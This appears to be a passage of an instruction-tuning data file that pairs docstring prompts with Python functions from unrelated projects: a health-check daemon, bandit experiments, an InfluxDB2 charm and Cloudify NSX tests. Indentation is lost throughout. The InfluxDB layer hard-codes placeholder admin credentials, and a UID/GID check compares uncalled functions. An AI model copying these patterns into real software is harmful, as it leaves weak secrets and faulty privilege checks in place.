messages['info'].append('Peer %s is healthy: %s (Connected)' % (host, peer['status']))
else:
messages['error'].append('Peer %s is not healthy: %s (Disconnected)' % (host, peer['status']))
status = 'ERROR'
self.result.add_component('Peers', status, **messages)
[INST] Check volumes status
and add component result. [/INST] def check_volumes(self):
volumes = self.getVolumesStatus()
status = 'OK'
messages = {
'info' : [],
'error': [],
'warn' : [],
}
if len(volumes) < 1:
messages['error'].append("No configured volumes found")
status = 'ERROR'
for vol, nodes in volumes.items():
if nodes['status'] != 1:
failed = []
for node, status in nodes.items():
if node != 'status' and status != 1:
failed.append(node)
messages['error'].append("Volume %s is not healthy (failed nodes: %s)" % (vol, ', '.join(failed)))
status = 'ERROR'
else:
messages['info'].append("Volume %s is healthy" % vol)
self.result.add_component('Volumes', status, **messages)
[INST] Run daemon
change effective uid/gid
start thread for each check
start webserver. [/INST] def run(self):
lg.info("Starting daemon")
if 'uid' in self.conf and 'gid' in self.conf:
if os.geteuid != self.conf['uid'] and os.getegid != self.conf['gid']:
try:
os.setegid(self.conf['gid'])
os.seteuid(self.conf['uid'])
except TypeError as e:
lg.error("Config parameters uid/gid have to be integers: %s" % e)
except OSError as e:
lg.error("Can't switch effective UID/GID to %s/%s: %s" % (self.conf['uid'], self.conf['gid'], e))
lg.exception(e)
self._shutdown(exitcode=1)
else:
lg.info("Not changing effective UID/GID, keeping %s/%s" % (os.geteuid(), os.getegid()))
if not isinstance(self.conf['bind_port'], int):
lg.error("Config parameter bind_port has to be integer")
config = {}
for key in ['plugins', 'templates', 'actions']:
try:
config[key] = self.conf[key]
except KeyError as e:
lg.warn("Config section not found: %s" % e)
if not config['plugins']:
lg.error('No configured plugins')
self._shutdown(exitcode=1)
if 'nr_concurrent_plugins' in self.conf:
config['semaphore_count'] = self.conf['nr_concurrent_plugins']
try:
self.pluginmgr = PluginManager(**config)
except Exception as e:
lg.error("Can't initialize PluginManager")
lg.exception(e)
self._shutdown(exitcode=1)
lg.info("Starting webserver on %(bind_host)s:%(bind_port)s"
% self.conf)
try:
self.server = RestServer(self)
self.server.start()
except Exception as e:
lg.error("Can't start HTTP server: %s" % e)
lg.exception(e)
self._shutdown(exitcode=1)
if hasattr(signal, 'SIGINT'):
signal.signal(signal.SIGINT, self._shutdown)
if hasattr(signal, 'SIGTERM'):
signal.signal(signal.SIGTERM, self._shutdown)
if hasattr(signal, 'SIGHUP'):
signal.signal(signal.SIGHUP, self._reopen_logfiles)
self._watchdog()
[INST] Daemonize and run daemon
Use double-fork magic to do that
Use sys.exit() here instead of self._shutdown() because we don't have running
daemon to shutdown in this function. [/INST] def daemonize(self):
if os.path.isfile(self.conf['pidfile']):
lg.error("PID file %s already exists" % self.conf['pidfile'])
sys.exit(1)
pid = os.fork()
if pid:
sys.exit(0)
os.chdir('/')
os.setsid()
os.umask(0)
pid = os.fork()
if pid:
sys.exit(0)
for log in ['stdout', 'stderr', 'stdin']:
path = os.path.dirname(self.conf[log])
if not os.path.exists(path):
os.mkdir(path)
redirect_standard_io(self.conf)
try:
fh = open(self.conf['pidfile'], 'w')
fh.write(str(os.getpid()))
fh.flush()
fh.close()
except Exception as e:
lg.error("Can't write PID into pidfile: %s" % e)
sys.exit(1)
try:
self.run()
except Exception as e:
self._shutdown(exitcode=1)
lg.exception(e)
[INST] Shutdown smoker daemon (internal use)
exitcode - exit code number (default 0)
signum, frame - used by signal handler
exception - if True, raise on exception, otherwise just log it and pass. [/INST] def _shutdown(self, signum=None, frame=None, exitcode=0, exception=False):
if self.pluginmgr and self.pluginmgr.stopping:
return
lg.info("Shutting down")
try:
if self.server:
try:
self.server.terminate()
self.server.join()
except AttributeError:
pass
if self.pluginmgr:
self.pluginmgr.stop()
if os.path.isfile(self.conf['pidfile']):
os.remove(self.conf['pidfile'])
except Exception as e:
lg.exception(e)
if exception:
raise
sys.exit(exitcode)
[INST] Get client configuration from smokercli.yaml. [/INST] def _load_config():
conf_file = os.path.expanduser('~/.smokercli.yaml')
if not os.path.exists(conf_file):
conf_file = CONFIG_FILE
if not os.path.exists(conf_file):
return None
with open(conf_file) as f:
config = yaml.safe_load(f)
return config
[INST] Get list of available host discovery plugin module names. [/INST] def _get_plugins(config):
plugins = []
if config and 'plugin_paths' in config:
paths = config['plugin_paths']
else:
raise Exception('Invalid config file')
for path in paths:
try:
module = __import__(path)
except ImportError:
raise Exception('Invalid config file')
toplevel = os.path.dirname(module.__file__)
submodule = '/'.join(path.split('.')[1:])
plugin_dir = os.path.join(toplevel, submodule, '*.py')
modules = [os.path.basename(name)[:-3] for name in
glob.glob(plugin_dir)]
modules.remove('__init__')
plugins += ['%s.%s' % (path, name) for name in modules]
return plugins
[INST] Add host discovery plugin specific options to the cmdline argument parser. [/INST] def _add_plugin_arguments(parser, config):
plugins = _get_plugins(config)
if not plugins:
return
argument_group = parser.add_argument_group('Plugin arguments')
for plugin in plugins:
args = _get_plugin_arguments(plugin)
for argument in args:
argument_group.add_argument(*argument.args, **argument.kwargs)
[INST] Dump plugins result to TAP
Take OK and also WARN statuses as ok
Print only error and warn results. [/INST] def dump_tap(plugins):
tap = Tap()
for name in sorted(plugins):
host = plugins[name]
if host['status'] in ['OK', 'WARN']:
host_ok = True
else:
host_ok = False
tap_host = TapTest(name, host_ok)
tap.add_test(tap_host)
for key in sorted(host['plugins']):
plugin = host['plugins'][key]
if not plugin['lastResult']:
plugin_ok = False
else:
if plugin['lastResult']['status'] in ['OK', 'WARN']:
plugin_ok = True
else:
plugin_ok = False
messages = []
if plugin['lastResult']:
if plugin['lastResult']['messages']:
messages = plugin['lastResult']['messages']
tap_plugin = TapTest(plugin['name'], plugin_ok, messages)
tap_host.add_subtest(tap_plugin)
if (plugin['lastResult'] and
plugin['lastResult']['componentResults']):
for component in plugin['lastResult']['componentResults']:
component = component['componentResult']
if component['status'] in ['OK', 'WARN']:
component_ok = True
else:
component_ok = False
messages = []
if component['messages']:
if component['messages']:
messages = component['messages']
tap_component = TapTest(component['name'], component_ok,
messages)
tap_plugin.add_subtest(tap_component)
return tap.dump()
[INST] Add count of items as done. [/INST] def add_done(self, count=1):
assert isinstance(count, numbers.Integral), "Count must be integral number"
self.items_done += count
[INST] Run thread
While we have undone items, print progressbar. [/INST] def run(self):
while self.items_done < self.items_count:
try:
width, height = console.get_terminal_size()
except IOError:
width, height = (80, 37)
sys.stdout.write('\r%s' % (width * ' '))
sys.stdout.write('\r %s' % self.get_progress())
sys.stdout.flush()
time.sleep(self.speed)
[INST] This function has to be called after progress bar stop to do the cleanup. [/INST] def stop(self):
print()
[INST] Accept list pool of threads, watch if they are alive and update progress. [/INST] def wait_pool(self, pool):
assert isinstance(pool, list), "Parameter pool must be list of Thread objects"
while self.get_left():
done = 0
for t in pool:
assert isinstance(t, threading.Thread),\
"Object in pool must be instance of threading.Thread not %s" % type(t)
if not t.is_alive():
done += 1
self.set_done(done)
time.sleep(1)
[INST] Check if plugin passes supplied filters. [/INST] def _match_filters(self, plugin, filters, negative=False, exclude_plugins=None):
if exclude_plugins:
if plugin['name'] in exclude_plugins:
return False
match_result = lambda match: not match if negative else match
match = True
for filter in filters:
if isinstance(filter, tuple):
key, value = filter
if key == 'status' and isinstance(value, list):
try:
if plugin['lastResult']['status'] in value:
match = True
if not negative: continue
else: break
else:
match = False
break
except (KeyError, TypeError):
if 'UNKNOWN' in value:
match = True
if not negative: continue
else: break
else:
match = False
break
elif isinstance(filter, dict):
try:
if plugin['parameters'][filter['key']] == filter['value']:
lg.debug("Plugin %s matched filter %s = %s" % (plugin['name'], filter['key'], filter['value']))
match = True
if not negative: continue
else: break
else:
lg.debug("Plugin %s doesn't match filter %s = %s" % (plugin['name'], filter['key'], filter['value']))
match = False
break
except KeyError:
lg.debug("Plugin %s doesn't have filter parameter %s" % (plugin['name'], filter['key']))
match = False
break
elif isinstance(filter, list):
if plugin['name'] in filter:
lg.debug("Plugin %s matched requested plugins list" % plugin['name'])
match = True
continue
else:
match = False
lg.debug("Plugin %s doesn't match requested plugins list" % plugin['name'])
break
match = match_result(match)
return match
[INST] Open given uri in parallel and
get JSON-parsed result. [/INST] def open(self, uri=None, resource=None, data=None):
if not uri and not resource:
raise Exception("Argument uri or resource have to be submitted")
pool = []
for host in self.hosts:
t = threading.Thread(name=host.name, target=host.open, args=(uri, resource, data,))
t.daemon = True
t.start()
pool.append(t)
self.wait(pool)
result = {}
for host in self.hosts:
result[host.name] = host.get_result()
return result
[INST] Wait until all threads in pool are done. [/INST] def wait(self, pool):
done = False
while not done:
done = True
for t in pool:
if t.is_alive():
done = False
time.sleep(0.5)
[INST] Wait until all threads in pool are done
and show nice progress bar. [/INST] def wait_progress(self, pool):
try:
with ProgressBar(len(pool)) as progress:
progress.wait_pool(pool)
except NonInteractiveError as e:
lg.warn(e)
self.wait(pool)
[INST] Open given uri and get JSON-parsed result. [/INST] def open(self, uri=None, resource=None, data=None, timeout=20):
if not uri and not resource:
raise Exception("Argument uri or resource have to be submitted")
if resource:
try:
uri = self.links[resource]['href']
except KeyError:
lg.error("Can't find resource %s" % resource)
return False
if data:
data = data.encode('utf-8')
url = '%s%s' % (self.url, uri)
lg.info("Host %s: requesting url %s" % (self.name, url))
try:
fh = urllib.request.urlopen(url, timeout=timeout, data=data)
except Exception as e:
lg.error("Host %s: can't open resource %s: %s" % (self.name, url, e))
return False
fh = fh.read()
if not _PY3:
fh = fh.decode('utf-8')
try:
json = simplejson.loads(fh)
except Exception as e:
lg.error("Host %s: can't load response as JSON: %s" % (self.name, e))
return False
self._result = json
return json
[INST] Force plugin run
Poll process until result. [/INST] def force_run(self, plugins):
plugins_list = list(plugins.keys())
data = simplejson.dumps({
'process' : {
'plugins' : plugins_list,
}
})
lg.info("Forcing run of %d plugins on host %s" % (len(plugins_list), self.name))
process = self.open(resource='processes', data=data)
if process:
poll = process['asyncTask']['link']['poll']
return self.poll(uri=poll)
else:
return False
[INST] Print number of hosts in result. [/INST] def count_hosts(self):
return len(self)
[INST] Dump all tests into tap structure. [/INST] def dump(self):
dump = []
dump.append('1..%s' % len(self.tests))
for test in self.tests:
dump.append(test.dump())
return '\n'.join(dump)
[INST] Add TapTest instance as subtest
Return subtest index. [/INST] def add_subtest(self, test):
test.index = self.subtests_index
self.subtests.append(test)
self.subtests_index += 1
return test.index
[INST] Dump TapTest result into TAP
Should be used from Tap instance to dump all results
Dump messages in YAMLish format. [/INST] def dump(self):
dump = []
dump.append('%s %s - %s' % (self.status, self.index, self.name))
if self.messages:
messages = []
for key, values in self.messages.items():
if values:
messages.append('\t- %s:' % key)
for msg in values:
messages.append("\t\t- %s" % msg)
if messages:
messages.insert(0, '---')
messages.append('...')
dump.append('\n'.join(messages))
if self.subtests:
dump_subtests = []
dump_subtests.append('\t1..%s' % len(self.subtests))
for test in self.subtests:
dump_subtests.append(test.dump())
dump.append(re.sub('\n', '\n\t', '\n'.join(dump_subtests)))
return '\n'.join(dump)
[INST] Match value with defined template field.. [/INST] def m_eq(value, templ_value):
retMatch = None
retBoundName = None
m_t = m_regex.match(templ_value)
if m_t:
gd = m_t.groupdict()
if gd.get('bound'):
retBoundName = gd['bound']
retMatch = True
if gd.get('re_bound'):
retMatch = re.match(gd['re_bound'], value)
if gd.get('re'):
retMatch = re.match(gd['re'], value)
if gd.get('re_bound_neg'):
retMatch = not re.match(gd['re_bound_neg'], value)
if gd.get('re_neg'):
retMatch = not re.match(gd['re_neg'], value)
if gd.get('type'):
retMatch = isinstance(value, m_get_type(gd['type']))
if gd.get('literal'):
retMatch = value == gd['literal']
if gd.get('normal'):
retMatch = value == gd['normal']
return retMatch, retBoundName
[INST] Will return proper instance of namedtuple (all named Row).. [/INST] def row_tuple(fields_str, additional_fields=None):
def mk__getattr__(additional_fields):
def _attr_f(t, self, name):
if t and name in t:
return string.Template(t[name]).safe_substitute(**self._asdict())
return None
return lambda self, name: _attr_f(additional_fields, self, name)
if fields_str not in _tuple_cache:
Row = collections.namedtuple('Row', fields_str)
Row.__getattr__ = mk__getattr__(additional_fields=additional_fields)
Row.__str = Row.__str__
Row.__str__ = lambda t: (
'|<| ' +
' | '.join('%s: %s' % (f, getattr(t, f)) for f in t._fields)
+ ' |>|')
_tuple_cache[fields_str] = Row
return _tuple_cache[fields_str]
[INST] Extend attribute of `Row` namedtuple.
Return `None` on invalid field.
Return formatted string when name is in TEMPLATE dictionary.. [/INST] def mk__getattr__(additional_fields):
def _attr_f(t, self, name):
if t and name in t:
return string.Template(t[name]).safe_substitute(**self._asdict())
return None
return lambda self, name: _attr_f(additional_fields, self, name)
[INST] Object is iterable but not string.. [/INST] def is_iterable(s):
if isinstance(s, (str, bytes)):
return False
return hasattr(s, '__iter__')
[INST] Make sure dictionary and/or list iterate with same protocol.. [/INST] def iter_tuplepairs(structure):
if isinstance(structure, (str, bytes)):
return tuple()
elif isinstance(structure, collections.Mapping):
return iteritems(structure)
elif isinstance(structure, collections.Sequence) or is_iterable(structure):
return enumerate(structure)
else:
return tuple()
[INST] Integral type is only type that this function can verify.
But it's okay, don't really need more types.. [/INST] def m_get_type(val):
tp = ''.join(val.split('!'))
if tp == 'Integral':
import numbers
return numbers.Integral
return None
[INST] Step down the template dict to the proper sub-branch.. [/INST] def delve_in_template(templ, name, value):
if name is not None:
return templ['$' + name]
elif value in templ:
return templ[value]
types = list(filter(lambda x: x.startswith('!'),
iter(templ.keys())))
for t in types:
if isinstance(value, m_get_type(t)):
return templ[t]
raise IndexError("(VALUE: %s) or (PATTERN: %s) not in '%s'" % (value, name, templ))
[INST] Decision predicate if current captured fields satisfy matching rules and can delve further.. [/INST] def m_field_dicts(data_fields, templ):
def fields_only(d):
flds = {}
for field_candidate, value in d.items():
if is_scalar(value):
flds[field_candidate] = value
return flds
def satisfy_fields(d, t):
retVal = tuple()
template_fields = fields_only(t)
plain_fields = list(itertools.filterfalse(lambda s: s.startswith('$'),
iter(template_fields.keys())))
if set(d.keys()).issuperset(set(plain_fields)):
for f in plain_fields:
match, bound_name = m_eq(d[f], t[f])
if not match:
return None, tuple()
if bound_name:
retVal = retVal + ((bound_name, d[f]),)
return True, retVal
return None, tuple()
return satisfy_fields(data_fields, templ)
[INST] Reinitialize bandit for a new run when running in serial or parallel. [/INST] def initialization(self, testbed):
testbed.reset_ev()
self.n = 1
self.Q = deepcopy(self.Q_init)
self.Na = {a: 0 for a in self.Q}
self.At = self.argmax(self.Q)
[INST] Return max estimate Q, if tie between actions, choose at random between tied actions. [/INST] def argmax(self, Q):
Q_array = np.array(list(self.Q.values()))
At = np.argwhere(Q_array == np.max(Q_array)).flatten().tolist()
if len(At) > 1:
At = np.random.choice(At)
else:
At = At[0]
return list(Q.keys())[At]
[INST] Run bandit for specified number of steps and optionally multiple runs. [/INST] def run(self, testbed, steps, n_runs=1, n_jobs=4, serial=False):
if serial:
self.action_values = self._serialrun(testbed, steps, n_runs)
elif n_runs >= 4:
if n_jobs > cpu_count():
warnings.warn(
f"Warning: running n_jobs: {n_jobs}, with only {cpu_count()} cpu's detected",
RuntimeWarning,
)
self.action_values = self._multirun(testbed, steps, n_runs, n_jobs=n_jobs)
else:
self.action_values = self._serialrun(testbed, steps, n_runs)
[INST] Reshape action_values numpy array and output as pandas dataframe. [/INST] def output_df(self):
n_rows = self.action_values.shape[2] * self.action_values.shape[0]
df = pd.DataFrame(
data=self.action_values.transpose(2, 0, 1).reshape(-1, len(self.columns)),
columns=self.columns,
)
return df
[INST] Reshape action_values numpy array and output as pandas dataframe
Add epsilon coefficient used for greedy bandit. [/INST] def output_df(self):
df = super().output_df()
df["epsilon"] = self.epsilon
return df
[INST] Reinitialize bandit attributes for a new run. [/INST] def initialization(self, testbed):
testbed.reset_ev()
self.n = 1
self.Q = deepcopy(self.Q_init)
self.Na = {a: 1e-100 for a in self.Na}
[INST] Reshape action_values numpy array and output as pandas dataframe
Add c coefficient used for UCL. [/INST] def output_df(self):
df = super().output_df()
df["c"] = self.c
return df
[INST] Reinitialize bandit attributes for a new run. [/INST] def initialization(self, testbed):
testbed.reset_ev()
self.n = 1
self.H = deepcopy(self.Q_init)
self.Q = deepcopy(self.Q_init)
self.Na = {a: 0 for a in self.Q}
[INST] Reshape action_values numpy array and output as pandas dataframe
Add learning rate. [/INST] def output_df(self):
df = super().output_df()
df["lr"] = self.lr
return df
[INST] Average all dataframe columns across runs. [/INST] def average_runs(df, group=[]):
return df.groupby(["step"] + group).mean().reset_index()
[INST] Write scalars to local using aim
Return
Value of last step. [/INST] def write_scalars(df, session, column: str, tag: str, hp: dict):
df = average_runs(df)
df.apply(
lambda x: session.track(
x[column],
epoch=int(x.step),
name=tag,
),
axis=1,
)
return df[column].iloc[-1]
[INST] Provide an estimate of the testbed values across all arms
n (int): Number of iterations to execute in testbed. [/INST] def estimate_distribution(self, n=1000) -> pd.DataFrame:
self.p_drift = 0.0
R = pd.DataFrame(columns=["reward", "action", "strategy"])
for a in self.expected_values:
Ra = pd.DataFrame(self.action_value(a, shape=(n, 1)), columns=["reward"])
Ra["action"] = a
Ra["strategy"] = "uniform"
R = pd.concat([R, Ra])
if self.initial_ev != self.expected_values:
self.expected_values = deepcopy(self.initial_ev)
for a in self.initial_ev:
Ra = pd.DataFrame(self.action_value(a, shape=(n, 1)), columns=["reward"])
Ra["action"] = a
Ra["strategy"] = "uniform"
R = pd.concat([R, Ra])
return R
[INST] Return true best action that should have been taken based on EV state. [/INST] def best_action(self):
A_best = list(self.expected_values.keys())[
np.argmax([ev["mean"] for ev in self.expected_values.values()])
]
return A_best
[INST] Handle the pebble_ready event for the influxdb2 container.. [/INST] def _on_config_changed(self, event: HookEvent) -> None:
container = self.unit.get_container(WORKLOAD_CONTAINER)
try:
plan = container.get_plan().to_dict()
except (APIError, ConnectionError) as error:
logger.debug(f"The Pebble API is not ready yet. Error message: {error}")
event.defer()
return
logger.debug(f"[*] container plan => {plan}")
pebble_config = Layer(raw=self._influxdb2_layer())
if plan.get("services", {}) == pebble_config.to_dict()["services"]:
logger.debug("Pebble plan has already been loaded. No need to update the config.")
return
try:
container.add_layer("influxdb2", pebble_config, combine=True)
except (APIError, ConnectionError) as error:
logger.debug(f"The Pebble API is not ready yet. Error message: {error}")
event.defer()
return
if self._is_running(container, WORKLOAD_CONTAINER):
container.stop(WORKLOAD_CONTAINER)
container.start(WORKLOAD_CONTAINER)
self.unit.status = ActiveStatus("Pod is ready")
[INST] Provide Grafana with data source information.. [/INST] def _on_grafana_source_relation_changed(self, event: RelationEvent) -> None:
if not self.model.unit.is_leader():
return
relation_data = {
"private-address": subprocess.check_output(["unit-get", "private-address"])
.decode()
.strip(),
"port": "8086",
"source-type": "influxdb",
}
event.relation.data[self.unit].update(relation_data)
[INST] Returns initial Pebble configuration layer for Influxdb2.. [/INST] def _influxdb2_layer(self) -> dict:
return {
"summary": "influxdb2 layer",
"description": "pebble config layer for influxdb2",
"services": {
"influxdb2": {
"override": "replace",
"summary": "influxdb2 service",
"command": "/entrypoint.sh influxd",
"startup": "enabled",
"environment": {
"DOCKER_INFLUXDB_INIT_MODE": "setup",
"DOCKER_INFLUXDB_INIT_USERNAME": "admin",
"DOCKER_INFLUXDB_INIT_PASSWORD": "thisisatest123",
"DOCKER_INFLUXDB_INIT_ORG": "influxdata",
"DOCKER_INFLUXDB_INIT_BUCKET": "default",
"DOCKER_INFLUXDB_INIT_RETENTION": "0s",
"DOCKER_INFLUXDB_INIT_ADMIN_TOKEN": "asdfasdfasdf",
"INFLUXD_BOLT_PATH": "/var/lib/influxdbv2/influxd.bolt",
"INFLUXD_ENGINE_PATH": "/var/lib/influxdbv2",
"INFLUXD_HTTP_BIND_ADDRESS": ":8086",
},
}
},
}
[INST] Helper method to determine if a given service is running in a given container. [/INST] def _is_running(self, container: Container, service: str) -> bool:
try:
svc = container.get_service(service)
return svc.current == ServiceStatus.ACTIVE
except ModelError:
return False
[INST] Delete firewall rule, as resource_id used response
from add_firewall_rule. [/INST] def delete_firewall_rule(client_session, resource_id):
try:
esg_id, rule_id = resource_id.split("|")
except Exception as ex:
raise cfy_exc.NonRecoverableError(
'Unexpected error retrieving resource ID: %s' % str(ex)
)
result = client_session.delete(
'firewallRule', uri_parameters={
'edgeId': esg_id, 'ruleId': rule_id
})
common.check_raw_result(result)
[INST] common function with any call from clint_session. [/INST] def _common_uninstall_external_and_unintialized(
self, resource_id, func_call, func_kwargs, additional_params=None
):
kwargs = self._kwargs_regen(func_kwargs)
self.fake_ctx.instance.runtime_properties['resource_id'] = None
if additional_params:
for i in additional_params:
self.fake_ctx.instance.runtime_properties[i] = i
func_call(**kwargs)
self.assertEqual(self.fake_ctx.instance.runtime_properties, {})
kwargs = self._kwargs_regen(func_kwargs)
self.fake_ctx.instance.runtime_properties['resource_id'] = resource_id
self.fake_ctx.node.properties['use_external_resource'] = True
if additional_params:
for i in additional_params:
self.fake_ctx.instance.runtime_properties[i] = i
func_call(**kwargs)
self.assertEqual(self.fake_ctx.instance.runtime_properties, {})
if resource_id.find('|') >= 0:
new_resource_id = resource_id + "|_"
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
new_resource_id, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
with self.assertRaises(cfy_exc.NonRecoverableError) as error:
func_call(**kwargs)
self.assertTrue(str(error.exception).find(
'Unexpected error retrieving resource ID'
) == 0)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
resource_id, func_kwargs
)
if additional_params:
for i in additional_params:
self.fake_ctx.instance.runtime_properties[i] = i
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
with self.assertRaises(cfy_exc.NonRecoverableError):
func_call(**kwargs)
fake_client.assert_called_with(
'raml', 'host', 'username', 'password'
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertEqual(runtime['resource_id'], resource_id)
self.assertEqual(
runtime['nsx_auth'], {
'username': 'username',
'password': 'password',
'host': 'host',
'raml': 'raml'
}
)
if additional_params:
for i in additional_params:
self.assertEqual(runtime.get(i), i)
[INST] check that we have RecoverableError with empty properties. [/INST] def _common_run_relationship(self, func):
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, {}, False
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
with self.assertRaises(cfy_exc.NonRecoverableError):
func(**kwargs)
[INST] Check skip install logic if we have use_existing and don't have
additional checks inside. [/INST] def _common_use_existing_without_run(self, resource_id, func_call,
func_kwargs):
kwargs = self._kwargs_regen(func_kwargs)
kwargs['use_external_resource'] = True
kwargs['resource_id'] = resource_id
func_call(**kwargs)
self.assertTrue(
self.fake_ctx.instance.runtime_properties['use_external_resource']
)
[INST] Check skip install logic if we have resource_id
or have issues with session. [/INST] def _common_install(self, resource_id, func_call, func_kwargs,
relationships=None):
kwargs = self._kwargs_regen(func_kwargs)
self.fake_ctx.instance.runtime_properties['resource_id'] = resource_id
if relationships:
self.fake_ctx.instance.relationships = relationships
func_call(**kwargs)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
if relationships:
self.fake_ctx.instance.relationships = relationships
with self.assertRaises(cfy_exc.NonRecoverableError):
func_call(**kwargs)
fake_client.assert_called_with(
'raml', 'host', 'username', 'password'
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertFalse('resource_id' in runtime)
self.assertEqual(
runtime['nsx_auth'], {
'username': 'username',
'password': 'password',
'host': 'host',
'raml': 'raml'
}
)
[INST] check install logic that read/extract current state and than send
update request. [/INST] def _common_install_extract_or_read_and_update(
self, resource_id, func_call, func_kwargs,
extract_args=None, extract_kwargs=None, extract_response=None,
read_args=None, read_kwargs=None, read_response=None,
create_args=None, create_kwargs=None, create_response=None,
update_args=None, update_kwargs=None, update_response=None,
relationships=None
):
self._common_install(resource_id, func_call, func_kwargs,
relationships=relationships)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
extract_response=extract_response,
read_response=read_response,
create_response=create_response,
update_response=update_response
)
if relationships:
self.fake_ctx.instance.relationships = relationships
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
extract_response=extract_response,
extract_args=extract_args, extract_kwargs=extract_kwargs,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
create_response=create_response,
create_args=create_args, create_kwargs=create_kwargs,
update_response=update_response,
update_args=update_args, update_kwargs=update_kwargs
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertEqual(
runtime['resource_id'],
resource_id
)
[INST] check install logic run create only. [/INST] def _common_install_create(
self, resource_id, func_call, func_kwargs,
create_args, create_kwargs, create_response
):
self._common_install(resource_id, func_call, func_kwargs)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
create_response=create_response
)
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
create_response=create_response,
create_args=create_args, create_kwargs=create_kwargs
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertEqual(
runtime['resource_id'],
resource_id
)
[INST] check install logic that check 'existing' by read
and than run create. [/INST] def _common_install_read_and_create(
self, resource_id, func_call, func_kwargs, read_args, read_kwargs,
read_response, create_args, create_kwargs, create_response,
recheck_runtime=None
):
self._common_install(resource_id, func_call, func_kwargs)
if read_response:
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
self.fake_ctx.node.properties['use_external_resource'] = True
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=read_response
)
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertEqual(
runtime['resource_id'], resource_id
)
if recheck_runtime:
for field in recheck_runtime:
self.assertEqual(
runtime[field],
recheck_runtime[field]
)
, but empty response
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
self.fake_ctx.node.properties['use_external_resource'] = True
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=SUCCESS_RESPONSE
)
with self.assertRaises(cfy_exc.NonRecoverableError):
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
)
self.assertFalse(
'resource_id' in self.fake_ctx.instance.runtime_properties
)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=read_response
)
with self.assertRaises(cfy_exc.NonRecoverableError):
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
)
self.assertFalse(
'resource_id' in self.fake_ctx.instance.runtime_properties
)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
None, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=SUCCESS_RESPONSE,
create_response=create_response
)
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
create_response=create_response,
create_args=create_args, create_kwargs=create_kwargs
)
runtime = self.fake_ctx.instance.runtime_properties
self.assertEqual(
runtime['resource_id'],
resource_id
)
[INST] for functions when we only run delete directly. [/INST] def _common_uninstall_delete(
self, resource_id, func_call, func_kwargs, delete_args, delete_kwargs,
additional_params=None, read_args=None, read_kwargs=None,
read_response=None
):
self._common_uninstall_external_and_unintialized(
resource_id, func_call, func_kwargs,
additional_params=additional_params
)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
resource_id, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=read_response,
delete_response=SUCCESS_RESPONSE
)
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
delete_response=SUCCESS_RESPONSE,
delete_args=delete_args, delete_kwargs=delete_kwargs
)
self.assertEqual(self.fake_ctx.instance.runtime_properties, {})
[INST] delete when read/update enought. [/INST] def _common_uninstall_read_update(
self, resource_id, func_call, func_kwargs, read_args, read_kwargs,
read_response, update_args, update_kwargs, additional_params=None
):
self._common_uninstall_external_and_unintialized(
resource_id, func_call, func_kwargs,
additional_params=additional_params
)
fake_client, fake_cs_result, kwargs = self._kwargs_regen_client(
resource_id, func_kwargs
)
with mock.patch(
'cloudify_nsx.library.nsx_common.NsxClient',
fake_client
):
self._update_fake_cs_result(
fake_cs_result,
read_response=read_response,
update_response=SUCCESS_RESPONSE
)
func_call(**kwargs)
self._check_fake_cs_result(
fake_cs_result,
read_response=read_response,
read_args=read_args, read_kwargs=read_kwargs,
update_response=SUCCESS_RESPONSE,
update_args=update_args, update_kwargs=update_kwargs
)
self.assertEqual(self.fake_ctx.instance.runtime_properties, {})
[INST] This function adds an interface gw to one dlr. [/INST] def dlr_add_interface(client_session, dlr_id, interface_ls_id, interface_ip,
interface_subnet, name=None, vnic=None):
dlr_interface_dict = client_session.extract_resource_body_example(
'interfaces', 'create'
)
interface = dlr_interface_dict['interfaces']['interface']
